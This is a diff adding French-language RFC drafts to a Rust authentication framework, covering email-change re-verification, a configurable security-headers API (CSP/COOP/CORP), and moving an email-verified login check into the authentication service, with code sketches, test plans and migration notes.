| 178 | + | |
| 179 | +Tests de non-régression : | |
| 180 | + | |
| 181 | +- Code consommateur **compile**. | |
| 182 | +- `PasswordChangeService::invalidate_on_email_change` toujours appelé par l’UI profil (hors core). | |
| 183 | + | |
| 184 | +Doctests : | |
| 185 | + | |
| 186 | +- Rustdoc `update_profile` : exemple copie/collable « changing email clears verification ». Exécutable seulement avec DB → ` ```rust,ignore ` + un paragraphe rustdoc anglais. Si un test unitaire documente le contrat, le doctest ignore est acceptable (même pattern RFC 0036 pour les services I/O). | |
| 187 | + | |
| 188 | +Benchs : non (path profil, pas bcrypt/JWT). Deux `INSERT` queue, négligeables. | |
| 189 | + | |
| 190 | +Les snippets `change_email` ne s’exécutent pas tant que le comportement n’est pas livré. | |
| 191 | + | |
| 192 | +## Migration guide | |
| 193 | + | |
| 194 | +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge. | |
| 195 | + | |
| 196 | +```markdown | |
| 197 | +### API changes | |
| 198 | + | |
| 199 | +**Before (v1.0.x)** : | |
| 200 | +`UserService::update_profile` écrivait `users.email` et **conservait** | |
| 201 | +`email_verified` / `email_verified_at`. Seul le handler UI profil envoyait | |
| 202 | +`account_modified` (old+new), sans lien de validation. | |
| 203 | + | |
| 204 | +**After (vX.Y.Z)** : | |
| 205 | +Si la nouvelle adresse (trim) diffère de l'ancienne : | |
| 206 | +`email_verified=false`, `email_verified_at=NULL`, enqueue validation vers | |
| 207 | +la **nouvelle** boîte (`EmailValidationService::send_validation_email`), | |
| 208 | +alerte vers l'**ancienne**. `on_email_verified` inchangé. | |
| 209 | +Signature `update_profile` inchangée. Pas de table `pending_email_changes` | |
| 210 | +(follow-up v2). | |
| 211 | + | |
| 212 | +Breaking : un utilisateur vérifié qui change d'e-mail ne peut plus se | |
| 213 | +connecter tant que `validation_email_required` / `validation_email_requise` | |
| 214 | +est vrai (défaut `true`) et qu'il n'a pas cliqué le lien. | |
| 215 | + | |
| 216 | +```rust | |
| 217 | +UserService::update_profile(db, user_id, None, Some(new_email)).await?; | |
| 218 | +// user.email_verified == false until verify-email token is consumed | |
| 219 | +``` | |
| 220 | + | |
| 221 | +### Migration steps | |
| 222 | + | |
| 223 | +1. Bump `rustwarden-core` à la version qui livre RFC 0038. | |
| 224 | +2. Aucune migration SQL. | |
| 225 | +3. `rustwarden-ui` : ne plus enqueue `account_modified` pour le seul | |
| 226 | + changement d'e-mail (le core s'en charge) ; garder | |
| 227 | + `invalidate_on_email_change`. | |
| 228 | +4. Gitrust / autres : supprimer tout patch local qui re-vérifiait à la | |
| 229 | + main ; prévenir le support (lock-out attendu après changement d'e-mail). | |
| 230 | +5. Vérifier SMTP / worker `email_queue` en prod avant le bump (sinon | |
| 231 | + users unverified sans mail — `resend-verification` reste disponible). | |
| 232 | +``` | |
| 233 | + | |
| 234 | +## Open questions | |
| 235 | + | |
| 236 | +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus : | |
| 237 | + | |
| 238 | +- [ ] **Type de queue de l’alerte** : `"email_changed"` dédié vs `"account_modified"` existant (`AccountModifiedTemplate`) ? | |
| 239 | +- [ ] **Trim / casse** : comparaison exacte (recommandé, aligné unicité PostgreSQL sensible à la casse) vs fold ASCII ? | |
| 240 | +- [ ] **Admin un-verify** : confirmer le même contrat (recommandé) plutôt qu’un bypass `email_verified=true` réservé admin. | |
| 241 | +- [ ] **v2** : confirmer follow-up (cette RFC, score v1 ≥ 25) plutôt que fusionner les deux. | |
| 242 | +- [ ] **Tracking GitHub** : ouvrir l’issue avant `Under Review`. | |
| 243 | + | |
| 244 | +## Tracking issue | |
| 245 | + | |
| 246 | +À ouvrir sur le dépôt Rustwarden (labels `area:auth` + `security` + `rfc`) en référençant Task 15 et Gitrust. Pas d’URL tant que le Draft n’est pas soumis. | |
| 247 | + | |
| 248 | +--- | |
| 249 | + | |
| 250 | +## Score d'évaluation (rempli par les reviewers) | |
| 251 | + | |
| 252 | +Notes **proposées par l’auteur** (Draft) pour **l’alternative A (v1)** ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35. v2 hors merge si ce total tient. | |
| 253 | + | |
| 254 | +| Critère | Note (1-5) | Commentaire | | |
| 255 | +|---|---|---| | |
| 256 | +| Généralité | 5 | Tous les call sites `update_profile` (UI, admin, Gitrust, headless). | | |
| 257 | +| Stabilité API | 3 | Signature identique mais breaking comportemental + lock-out login (voulu). | | |
| 258 | +| Performance | 5 | Deux inserts queue hors hot path login ; pas de table extra. | | |
| 259 | +| Sécurité | 5 | Coupe le flag vérifié d’une adresse non prouvée ; alerte l’ancienne boîte. | | |
| 260 | +| Complexité d'implémentation | 4 | Branche ~20 lignes + enqueue best-effort ; pas de migration. | | |
| 261 | +| Charge de maintenance | 4 | Réutilise validation/queue existants ; v2 évité pour l’instant. | | |
| 262 | +| Documentation | 4 | RFC + CHANGELOG + rustdoc ; UI à dédupliquer. | | |
| 263 | +| **Total** | **30/35** | (≥ 25 → v2 en follow-up, pas dans ce PR) | |
A
docs/rfcs/0039-security-headers-config.md
+365
-0
@@ -0,0 +1,365 @@
| 1 | +# RFC 0039 — `SecurityHeadersConfig` (CSP / COOP / CORP additifs) | |
| 2 | + | |
| 3 | +- **Auteur** : EBO (origine audit Gitrust / patch 1.0.1) | |
| 4 | +- **Date** : 2026-09-18 | |
| 5 | +- **Statut** : Draft | |
| 6 | +- **Apps consommatrices concernées** : Gitrust (pourra retirer `SetResponseHeaderLayer::overriding`) ; `rustwarden-ui` / `rustwarden-app` ; tout consommateur de `RustwardenApp::builder()` | |
| 7 | +- **Crate cible** : `rustwarden-core` | |
| 8 | +- **Origine** : constats M-10 + F-UI du plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 16). CSP Alpine : [`docs/plans/PLAN_CSP_HTMX.md`](../plans/PLAN_CSP_HTMX.md). | |
| 9 | + | |
| 10 | +## Summary | |
| 11 | + | |
| 12 | +Ajouter une config **additive** `SecurityHeadersConfig` (CSP configurable, COOP/CORP opt-in) branchée sur `security_headers_middleware` par **capture `Arc` à la construction**, sans changer la CSP par défaut du patch 1.0.1 (`unsafe-inline` / `unsafe-eval` conservés). Phase 2 (après Accept **et** Alpine CSP) : défaut sans `'unsafe-eval'`. | |
| 13 | + | |
| 14 | +## Motivation | |
| 15 | + | |
| 16 | +### Problème concret (M-10) | |
| 17 | + | |
| 18 | +[`security_headers_middleware`](../../crates/rustwarden-core/src/app.rs) (~L853–895) pose des en-têtes **hardcodés**, dont : | |
| 19 | + | |
| 20 | +```text | |
| 21 | +content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self' | |
| 22 | +``` | |
| 23 | + | |
| 24 | +`'unsafe-inline'` + `'unsafe-eval'` sur `script-src` annulent l’essentiel de la protection XSS (finding H2 / M-10). **Gitrust** overlay déjà une politique plus stricte via `tower_http::SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)` *après* le middleware framework. | |
| 25 | + | |
| 26 | +Le middleware est monté **à l’extérieur** des `Extension(...)` : | |
| 27 | + | |
| 28 | +```699:717:crates/rustwarden-core/src/app.rs | |
| 29 | + let app = router.with_state(db).layer( | |
| 30 | + ServiceBuilder::new() | |
| 31 | + .layer(cors_layer) | |
| 32 | + .layer(axum::middleware::from_fn(security_headers_middleware)) | |
| 33 | + .layer_fn(move |service| AdminService::new(service, db_for_admin.clone())) | |
| 34 | + // ... | |
| 35 | + .layer(axum::Extension(i18n_service)) | |
| 36 | + .layer(axum::Extension(hooks)) | |
| 37 | + .layer(axum::Extension(auth_config)) | |
| 38 | + .layer(axum::Extension(db_for_ext)) | |
| 39 | + .into_inner(), | |
| 40 | + ); | |
| 41 | +``` | |
| 42 | + | |
| 43 | +Dans Tower/Axum, le **premier** `.layer()` de `ServiceBuilder` est le plus **externe** : il voit la requête **avant** que les `Extension` internes ne soient insérées. Un `request.extensions().get::<Arc<SecurityHeadersConfig>>()` dans `security_headers_middleware` est **toujours `None`** sur le chemin aller. D’où : **pas `Extension`**. | |
| 44 | + | |
| 45 | +### Pourquoi ne pas durcir le défaut dans 1.0.1 | |
| 46 | + | |
| 47 | +Retirer `'unsafe-eval'` casse l’admin UI : Alpine.js standard utilise `new Function()` pour `x-data` / `x-bind` ([`PLAN_CSP_HTMX.md`](../plans/PLAN_CSP_HTMX.md) Phase 1). Le patch 1.0.1 n’a **pas** changé la CSP. Cette RFC livre d’abord l’**API** pour que Gitrust (et d’autres) cessent d’overrider en couche externe ; le durcissement du **défaut** est la Phase 2, après migration `@alpinejs/csp`. | |
| 48 | + | |
| 49 | +Pas de COOP/CORP aujourd’hui. Gitrust / isolation `Cross-Origin-Opener-Policy: same-origin` doivent pouvoir s’activer **sans** fork du middleware. | |
| 50 | + | |
| 51 | +### Qui est impacté | |
| 52 | + | |
| 53 | +- Gitrust : drop `SetResponseHeaderLayer::overriding` une fois le builder exposé. | |
| 54 | +- Apps qui gardent le défaut : **aucun** changement d’en-têtes (même CSP). | |
| 55 | +- `rustwarden-ui` : Phase 2 seulement, après Alpine CSP. | |
| 56 | + | |
| 57 | +### Si on ne fait rien | |
| 58 | + | |
| 59 | +Chaque consommateur réimplémente un overlay Tower. Le défaut reste indurcissable sans patch core. COOP/CORP restent absents du framework. | |
| 60 | + | |
| 61 | +### Urgence | |
| 62 | + | |
| 63 | +Pas un patch 1.0.1. RFC obligatoire : nouvel item `pub` + builder. Le défaut CSP ne bouge **pas** dans le premier PR d’implémentation. | |
| 64 | + | |
| 65 | +## Non-goals | |
| 66 | + | |
| 67 | +- **Pas de changement de CSP par défaut** dans le train d’implémentation initial (ni 1.0.1, ni le PR « API additive »). `'unsafe-inline'` et `'unsafe-eval'` restent dans `Default`. | |
| 68 | +- **Pas de nonce / hash CSP** (Phases 2–4 de `PLAN_CSP_HTMX.md`). | |
| 69 | +- **Pas de COOP/CORP on by default** : `Option::None` (opt-in). | |
| 70 | +- **Pas d’injection via `Extension`** (piège d’ordre des layers, ci-dessus). | |
| 71 | +- **Pas de toucher** à `X-Content-Type-Options`, `X-Frame-Options`, `X-XSS-Protection`, `Referrer-Policy`, `Permissions-Policy`, HSTS (`APP_DEBUG`) dans cette RFC — ils restent hardcodés comme aujourd’hui. | |
| 72 | +- **Pas de CORS** (déjà `CorsLayer` séparé). | |
| 73 | + | |
| 74 | +## API proposée | |
| 75 | + | |
| 76 | +Nouveau fichier `crates/rustwarden-core/src/config/security_headers.rs`, `pub mod security_headers` dans [`config/mod.rs`](../../crates/rustwarden-core/src/config/mod.rs). Re-export optionnel prelude : `SecurityHeadersConfig` (recommandé, item d’usage builder). | |
| 77 | + | |
| 78 | +### Config | |
| 79 | + | |
| 80 | +```rust | |
| 81 | +// crates/rustwarden-core/src/config/security_headers.rs | |
| 82 | +use std::borrow::Cow; | |
| 83 | + | |
| 84 | +/// Default CSP shipped since SEC-H1 / 1.0.1. Do not tighten in the first | |
| 85 | +/// implementation PR (Alpine.js still needs 'unsafe-eval'). | |
| 86 | +pub const DEFAULT_CONTENT_SECURITY_POLICY: &str = | |
| 87 | + "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'"; | |
| 88 | + | |
| 89 | +/// Candidate default **after** PLAN_CSP_HTMX.md Phase 1 (Alpine CSP build). | |
| 90 | +/// Not used by [`SecurityHeadersConfig::default`] until Phase 2 of this RFC. | |
| 91 | +pub const CSP_WITHOUT_UNSAFE_EVAL: &str = | |
| 92 | + "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'"; | |
| 93 | + | |
| 94 | +/// Configurable security headers applied by `security_headers_middleware`. | |
| 95 | +#[derive(Clone, Debug)] | |
| 96 | +pub struct SecurityHeadersConfig { | |
| 97 | + /// `Content-Security-Policy` value. Default keeps 1.0.1 (unsafe-inline/eval). | |
| 98 | + pub content_security_policy: Cow<'static, str>, | |
| 99 | + /// `Cross-Origin-Opener-Policy`. `None` = do not set the header (opt-in). | |
| 100 | + pub cross_origin_opener_policy: Option<Cow<'static, str>>, | |
| 101 | + /// `Cross-Origin-Resource-Policy`. `None` = do not set the header (opt-in). | |
| 102 | + pub cross_origin_resource_policy: Option<Cow<'static, str>>, | |
| 103 | +} | |
| 104 | + | |
| 105 | +impl Default for SecurityHeadersConfig { | |
| 106 | + fn default() -> Self { | |
| 107 | + Self { | |
| 108 | + content_security_policy: Cow::Borrowed(DEFAULT_CONTENT_SECURITY_POLICY), | |
| 109 | + cross_origin_opener_policy: None, | |
| 110 | + cross_origin_resource_policy: None, | |
| 111 | + } | |
| 112 | + } | |
| 113 | +} | |
| 114 | + | |
| 115 | +impl SecurityHeadersConfig { | |
| 116 | + /// Opt-in isolation headers commonly used by Gitrust. | |
| 117 | + pub fn with_same_origin_isolation(mut self) -> Self { | |
| 118 | + self.cross_origin_opener_policy = Some(Cow::Borrowed("same-origin")); | |
| 119 | + self.cross_origin_resource_policy = Some(Cow::Borrowed("same-origin")); | |
| 120 | + self | |
| 121 | + } | |
| 122 | +} | |
| 123 | +``` | |
| 124 | + | |
| 125 | +Les snippets sont **proposés** (Draft). `DEFAULT_CONTENT_SECURITY_POLICY` est la chaîne **exacte** lue dans `app.rs` L881 (vérifiée 2026-09-18). | |
| 126 | + | |
| 127 | +### Builder | |
| 128 | + | |
| 129 | +```rust | |
| 130 | +impl RustwardenBuilder { | |
| 131 | + /// Override security headers (CSP / optional COOP / CORP). | |
| 132 | + /// | |
| 133 | + /// Default: [`SecurityHeadersConfig::default`] (current 1.0.1 CSP, | |
| 134 | + /// no COOP/CORP). Call this to let Gitrust drop | |
| 135 | + /// `SetResponseHeaderLayer::overriding`. | |
| 136 | + pub fn security_headers(mut self, cfg: SecurityHeadersConfig) -> Self { | |
| 137 | + self.security_headers = cfg; | |
| 138 | + self | |
| 139 | + } | |
| 140 | +} | |
| 141 | +``` | |
| 142 | + | |
| 143 | +Champ nouveau sur `RustwardenBuilder` : `security_headers: SecurityHeadersConfig` initialisé à `SecurityHeadersConfig::default()` dans `Default`. | |
| 144 | + | |
| 145 | +Usage consommateur : | |
| 146 | + | |
| 147 | +```rust | |
| 148 | +use rustwarden_core::app::RustwardenApp; | |
| 149 | +use rustwarden_core::config::security_headers::SecurityHeadersConfig; | |
| 150 | + | |
| 151 | +async fn build_gitrust() -> anyhow::Result<()> { | |
| 152 | + let cfg = SecurityHeadersConfig::default() | |
| 153 | + .with_same_origin_isolation(); | |
| 154 | + // Optionally: cfg.content_security_policy = Cow::Borrowed("..."); | |
| 155 | + let _app = RustwardenApp::builder() | |
| 156 | + .from_env() | |
| 157 | + .security_headers(cfg) | |
| 158 | + .build() | |
| 159 | + .await?; | |
| 160 | + Ok(()) | |
| 161 | +} | |
| 162 | +``` | |
| 163 | + | |
| 164 | +`from_env()` actuel ne lit **pas** de CSP env — volontaire (politique dans le code / builder, pas une string `.env` non revue). Open question si un `CSP=` est souhaité plus tard. | |
| 165 | + | |
| 166 | +### Câblage middleware — capture `Arc`, pas `Extension` | |
| 167 | + | |
| 168 | +Même patron de **clone dans la closure** que `locale_middleware` (`app.rs` ~L708–712). Position **inchangée** (toujours le layer externe juste après CORS) : | |
| 169 | + | |
| 170 | +```rust | |
| 171 | +let headers_cfg = std::sync::Arc::new(self.security_headers.clone()); | |
| 172 | + | |
| 173 | +.layer(axum::middleware::from_fn({ | |
| 174 | + let cfg = headers_cfg.clone(); | |
| 175 | + move |req, next| { | |
| 176 | + let cfg = cfg.clone(); | |
| 177 | + async move { security_headers_middleware(cfg, req, next).await } | |
| 178 | + } | |
| 179 | +})) | |
| 180 | +``` | |
| 181 | + | |
| 182 | +Signature interne (reste `pub(crate)` / privée au module `app`) : | |
| 183 | + | |
| 184 | +```rust | |
| 185 | +async fn security_headers_middleware( | |
| 186 | + cfg: Arc<SecurityHeadersConfig>, | |
| 187 | + request: Request, | |
| 188 | + next: Next, | |
| 189 | +) -> Response { | |
| 190 | + let mut response = next.run(request).await; | |
| 191 | + let headers = response.headers_mut(); | |
| 192 | + // ... existing X-Content-Type-Options, X-Frame-Options, etc. ... | |
| 193 | + | |
| 194 | + let csp = HeaderValue::from_str(cfg.content_security_policy.as_ref()) | |
| 195 | + .unwrap_or_else(|_| HeaderValue::from_static(DEFAULT_CONTENT_SECURITY_POLICY)); | |
| 196 | + headers.insert(HeaderName::from_static("content-security-policy"), csp); | |
| 197 | + | |
| 198 | + if let Some(coop) = cfg.cross_origin_opener_policy.as_deref() { | |
| 199 | + if let Ok(val) = HeaderValue::from_str(coop) { | |
| 200 | + headers.insert( | |
| 201 | + HeaderName::from_static("cross-origin-opener-policy"), | |
| 202 | + val, | |
| 203 | + ); | |
| 204 | + } | |
| 205 | + } | |
| 206 | + if let Some(corp) = cfg.cross_origin_resource_policy.as_deref() { | |
| 207 | + if let Ok(val) = HeaderValue::from_str(corp) { | |
| 208 | + headers.insert( | |
| 209 | + HeaderName::from_static("cross-origin-resource-policy"), | |
| 210 | + val, | |
| 211 | + ); | |
| 212 | + } | |
| 213 | + } | |
| 214 | + // HSTS inchangé (APP_DEBUG) | |
| 215 | + response | |
| 216 | +} | |
| 217 | +``` | |
| 218 | + | |
| 219 | +`from_str` invalide → fallback CSP 1.0.1 (pas de `unwrap` sur le hot path). COOP/CORP mal formés : skip + `tracing::warn`, pas de 500. | |
| 220 | + | |
| 221 | +Constitution : pas d’`unwrap`/`expect` hors tests. | |
| 222 | + | |
| 223 | +### Phase 2 (après Accept de cette RFC **et** Alpine CSP) | |
| 224 | + | |
| 225 | +Prérequis : [`PLAN_CSP_HTMX.md`](../plans/PLAN_CSP_HTMX.md) Phase 1 (`@alpinejs/csp`, inventaire `x-data` inline → `Alpine.data`). | |
| 226 | + | |
| 227 | +Alors seulement : `Default` pointe sur `CSP_WITHOUT_UNSAFE_EVAL` (retirer `'unsafe-eval'`, **garder** `'unsafe-inline'` jusqu’aux phases suivantes du plan). C’est un **changement de défaut** : PR séparé, mention CHANGELOG `Security`, éventuellement minor. Hors du premier PR d’implémentation de **cette** RFC. | |
| 228 | + | |
| 229 | +Gitrust, une fois le builder livré (Phase 1 API), pose sa CSP (déjà sans eval) via `.security_headers(cfg)` et **retire** `SetResponseHeaderLayer::overriding`. | |
| 230 | + | |
| 231 | +## Analyse de compatibilité | |
| 232 | + | |
| 233 | +Checklist : | |
| 234 | + | |
| 235 | +- [ ] API existante non modifiée → le middleware existait déjà (privé). | |
| 236 | +- [x] API existante étendue avec défaut → **non-breaking** (minor) : `security_headers()` optionnel, `Default` = CSP actuelle. | |
| 237 | +- [ ] API existante modifiée ou supprimée → non. | |
| 238 | +- [x] Nouveau comportement par défaut → **non** en Phase 1 API. Phase 2 = oui (sans eval) — PR distinct. | |
| 239 | +- [ ] Changement de schéma DB → non. | |
| 240 | +- [ ] Changement de format sérialisé → non (en-têtes HTTP seulement). | |
| 241 | + | |
| 242 | +Apps qui n’appellent pas le builder method : bit-identical headers vs 1.0.1. | |
| 243 | + | |
| 244 | +## Alternatives considérées | |
| 245 | + | |
| 246 | +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif. | |
| 247 | + | |
| 248 | +### Alternative A (recommandée) : config additive + capture `Arc` + défaut 1.0.1 | |
| 249 | + | |
| 250 | +**Pros** : Gitrust drop l’overlay ; COOP/CORP opt-in ; zéro casse UI ; évite le piège `Extension` (layer externe). Phase 2 documentée, pas mélangée. | |
| 251 | + | |
| 252 | +**Cons** : la CSP par défaut reste faible jusqu’à Alpine CSP. Deux PR (API, puis défaut). | |
| 253 | + | |
| 254 | +### Alternative B : changer le défaut CSP maintenant (sans `'unsafe-eval'`) | |
| 255 | + | |
| 256 | +**Pros** : ferme M-10 plus vite pour les apps UI vanilla. | |
| 257 | + | |
| 258 | +**Cons** : **casse l’admin** (Alpine `new Function()`). Interdit explicitement pour 1.0.1 et pour le premier train de cette RFC. Gitrust n’a pas ce problème (overlay) mais `rustwarden-ui` / apps wizard si. | |
| 259 | + | |
| 260 | +### Alternative C (ne rien faire / garder `SetResponseHeaderLayer::overriding`) | |
| 261 | + | |
| 262 | +**Pros** : zéro coût upstream. Gitrust conserve son workaround. | |
| 263 | + | |
| 264 | +**Cons** : chaque consommateur réinvente l’override ; COOP/CORP absents du framework ; Phase 2 défaut impossible à partager. Divergence M-10. | |
| 265 | + | |
| 266 | +## Testing plan | |
| 267 | + | |
| 268 | +Tests unitaires : | |
| 269 | + | |
| 270 | +- Happy path : `SecurityHeadersConfig::default().content_security_policy` **égale** à la constante actuelle `app.rs` L881 (test de non-dérive). | |
| 271 | +- Erreur 1 — CSP non-ASCII / CR-LF : `from_str` fail → réponse sert `DEFAULT_CONTENT_SECURITY_POLICY`, pas de panic. | |
| 272 | +- Erreur 2 — COOP `Some("same-origin\n")` invalide → header COOP **absent**, CSP toujours présent. | |
| 273 | +- Erreur 3 — `with_same_origin_isolation()` : COOP et CORP `same-origin` ; sans appel, les deux absents. | |
| 274 | + | |
| 275 | +Tests d’intégration (middleware / client axum fake) : | |
| 276 | + | |
| 277 | +- Router de test avec le `from_fn` + `Arc` clone : `GET /` → `content-security-policy` défaut ; **pas** de `cross-origin-opener-policy`. | |
| 278 | +- Même router avec `with_same_origin_isolation()` : les trois en-têtes présents. | |
| 279 | +- Régression : `x-frame-options: DENY`, `x-content-type-options: nosniff` toujours là. | |
| 280 | +- Contrôle négatif **Extension** : ne **pas** injecter `Extension(cfg)` et vérifier que le middleware (Arc capturé) fonctionne quand même — documente le piège. | |
| 281 | + | |
| 282 | +Tests de non-régression : | |
| 283 | + | |
| 284 | +- Consommateurs qui n’appellent pas `.security_headers()` **compilent** (`Default` du builder). | |
| 285 | +- `cargo test` UI non requis au PR API (Phase 2 seulement). | |
| 286 | + | |
| 287 | +Doctests : | |
| 288 | + | |
| 289 | +- Au moins un exemple copie/collable sur `SecurityHeadersConfig::default` / `with_same_origin_isolation` (sans I/O), exécuté comme doctest. | |
| 290 | + | |
| 291 | +Benchs : non (insert headers, hors bcrypt). Pas de seuil 10 %. | |
| 292 | + | |
| 293 | +Les exemples builder `.build().await` restent `ignore` (DB). Le doctest de la struct `Default` est exécutable. | |
| 294 | + | |
| 295 | +## Migration guide | |
| 296 | + | |
| 297 | +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge. | |
| 298 | + | |
| 299 | +```markdown | |
| 300 | +### API changes | |
| 301 | + | |
| 302 | +**Before (v1.0.1)** : | |
| 303 | +`security_headers_middleware` hardcodait la CSP (avec `'unsafe-inline'` | |
| 304 | +et `'unsafe-eval'`). Pas de COOP/CORP. Gitrust overlay | |
| 305 | +`SetResponseHeaderLayer::overriding`. | |
| 306 | + | |
| 307 | +**After (vX.Y.Z)** : | |
| 308 | +Nouveau `rustwarden_core::config::security_headers::SecurityHeadersConfig`. | |
| 309 | +`RustwardenApp::builder().security_headers(cfg)`. Défaut **identique** | |
| 310 | +à 1.0.1. COOP/CORP opt-in (`None`). Le middleware capte `Arc<…>` à la | |
| 311 | +construction (pas `Extension` : le layer est plus externe que les | |
| 312 | +`Extension` dans `app.rs`). | |
| 313 | + | |
| 314 | +Phase 2 (PR ultérieur, après Alpine `@alpinejs/csp`, cf. | |
| 315 | +`docs/plans/PLAN_CSP_HTMX.md`) : `Default` sans `'unsafe-eval'`. | |
| 316 | + | |
| 317 | +```rust | |
| 318 | +use rustwarden_core::config::security_headers::SecurityHeadersConfig; | |
| 319 | + | |
| 320 | +RustwardenApp::builder() | |
| 321 | + .from_env() | |
| 322 | + .security_headers(SecurityHeadersConfig::default().with_same_origin_isolation()) | |
| 323 | + .build() | |
| 324 | + .await?; | |
| 325 | +``` | |
| 326 | + | |
| 327 | +### Migration steps | |
| 328 | + | |
| 329 | +1. Bump `rustwarden-core` à la version qui livre RFC 0039 (Phase 1 API). | |
| 330 | +2. Gitrust : passer la CSP actuelle au builder ; **retirer** | |
| 331 | + `SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)`. | |
| 332 | +3. Apps UI vanilla : ne rien faire (défaut inchangé). | |
| 333 | +4. Ne **pas** retirer `'unsafe-eval'` du défaut tant que | |
| 334 | + `PLAN_CSP_HTMX.md` Phase 1 n'est pas faite. | |
| 335 | +``` | |
| 336 | + | |
| 337 | +## Open questions | |
| 338 | + | |
| 339 | +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus : | |
| 340 | + | |
| 341 | +- [ ] **Re-export prelude** : `SecurityHeadersConfig` dans `prelude` ou seulement `config::security_headers` ? | |
| 342 | +- [ ] **Env `CSP=`** : hors v1 (recommandé) vs lu par `from_env()` ? | |
| 343 | +- [ ] **Phase 2 dans cette RFC** (acceptée comme intention) vs RFC 00xx dédiée au changement de défaut ? Recommandé : rester ici comme phase datée, PR séparé. | |
| 344 | +- [ ] **Tracking GitHub** : ouvrir l’issue avant `Under Review`. | |
| 345 | + | |
| 346 | +## Tracking issue | |
| 347 | + | |
| 348 | +À ouvrir sur le dépôt Rustwarden (labels `area:http` + `security` + `rfc`) en référençant M-10, `PLAN_CSP_HTMX.md` et Gitrust. Pas d’URL tant que le Draft n’est pas soumis. | |
| 349 | + | |
| 350 | +--- | |
| 351 | + | |
| 352 | +## Score d'évaluation (rempli par les reviewers) | |
| 353 | + | |
| 354 | +Notes **proposées par l’auteur** (Draft) ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35. | |
| 355 | + | |
| 356 | +| Critère | Note (1-5) | Commentaire | | |
| 357 | +|---|---|---| | |
| 358 | +| Généralité | 5 | Tous les builders ; Gitrust retire un overlay ; COOP/CORP partagés. | | |
| 359 | +| Stabilité API | 5 | Ajout pur + `Default` bit-identical 1.0.1 ; pas de breaking Phase 1. | | |
| 360 | +| Performance | 5 | Clone `Arc` + `HeaderValue::from_str` une fois par réponse ; négligeable. | | |
| 361 | +| Sécurité | 4 | API de durcissement ; le défaut reste faible jusqu’à Phase 2 (volontaire). | | |
| 362 | +| Complexité d'implémentation | 4 | Un struct + champ builder + closure clone ; piège Extension documenté. | | |
| 363 | +| Charge de maintenance | 4 | Une constante CSP à ne pas faire dériver (`DEFAULT_*` + test d’égalité). | | |
| 364 | +| Documentation | 4 | RFC + rustdoc + PLAN_CSP_HTMX ; CHANGELOG Phase 1 vs 2. | | |
| 365 | +| **Total** | **31/35** | (≥ 25 pour Accepted) | |
A
docs/rfcs/0040-authenticate-user-email-verified.md
+320
-0
@@ -0,0 +1,320 @@
| 1 | +# RFC 0040 — `AuthService::authenticate_user` honore `validation_email_required` | |
| 2 | + | |
| 3 | +- **Auteur** : EBO (origine audit Gitrust / patch 1.0.1) | |
| 4 | +- **Date** : 2026-09-18 | |
| 5 | +- **Statut** : Draft | |
| 6 | +- **Apps consommatrices concernées** : Gitrust (SSR / appels directs au service) ; `rustwarden-ui` (déjà via `POST /api/v1/auth/login`) ; tout consommateur de `rustwarden-core` qui appelle `AuthService::authenticate_user` | |
| 7 | +- **Crate cible** : `rustwarden-core` | |
| 8 | +- **Origine** : plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 17). Contrat limiteur : finding E-2 / layer `auth_ip_rate_limit` 1.0.1. | |
| 9 | + | |
| 10 | +## Summary | |
| 11 | + | |
| 12 | +Déplacer le contrôle « e-mail vérifié » de `auth/handlers.rs` `login` vers `AuthService::authenticate_user`, avec le même `AppSettingsService::get_bool_with_fallback(["validation_email_required", "validation_email_requise"], true)`, pour que Gitrust et tout SSR qui appelle le service ne puissent plus le contourner. | |
| 13 | + | |
| 14 | +## Motivation | |
| 15 | + | |
| 16 | +### Problème concret | |
| 17 | + | |
| 18 | +Le login JSON fait : | |
| 19 | + | |
| 20 | +1. [`AuthService::authenticate_user`](../../crates/rustwarden-core/src/services/auth_service.rs) (~L109–121) : `verify_credentials` + log `must_change_password` (**sans** regarder `email_verified`). | |
| 21 | +2. [`login`](../../crates/rustwarden-core/src/auth/handlers.rs) (~L313–340) : lit le setting puis bloque. | |
| 22 | + | |
| 23 | +```318:340:crates/rustwarden-core/src/auth/handlers.rs | |
| 24 | + let email_validation_required = | |
| 25 | + crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback( | |
| 26 | + &db, | |
| 27 | + &["validation_email_required", "validation_email_requise"], | |
| 28 | + true, | |
| 29 | + ) | |
| 30 | + .await | |
| 31 | + .unwrap_or(true); | |
| 32 | + | |
| 33 | + if email_validation_required && !user.email_verified { | |
| 34 | + let reason = "email_not_verified"; | |
| 35 | + // ... | |
| 36 | + AuthLoggingService::log_blocked_login(...).await?; | |
| 37 | + return Err(AppError::Validation( | |
| 38 | + "Votre email n'est pas vérifié. Cliquez sur « Renvoyer l'email de validation » pour recevoir un nouveau lien.".to_string(), | |
| 39 | + )); | |
| 40 | + } | |
| 41 | +``` | |
| 42 | + | |
| 43 | +Call sites de `authenticate_user` dans ce dépôt : **uniquement** `handlers::login`. Gitrust (et tout handler SSR custom) qui appelle le **service** saute les lignes 313–340 : mot de passe OK + `email_verified=false` → session/JWT quand même. | |
| 44 | + | |
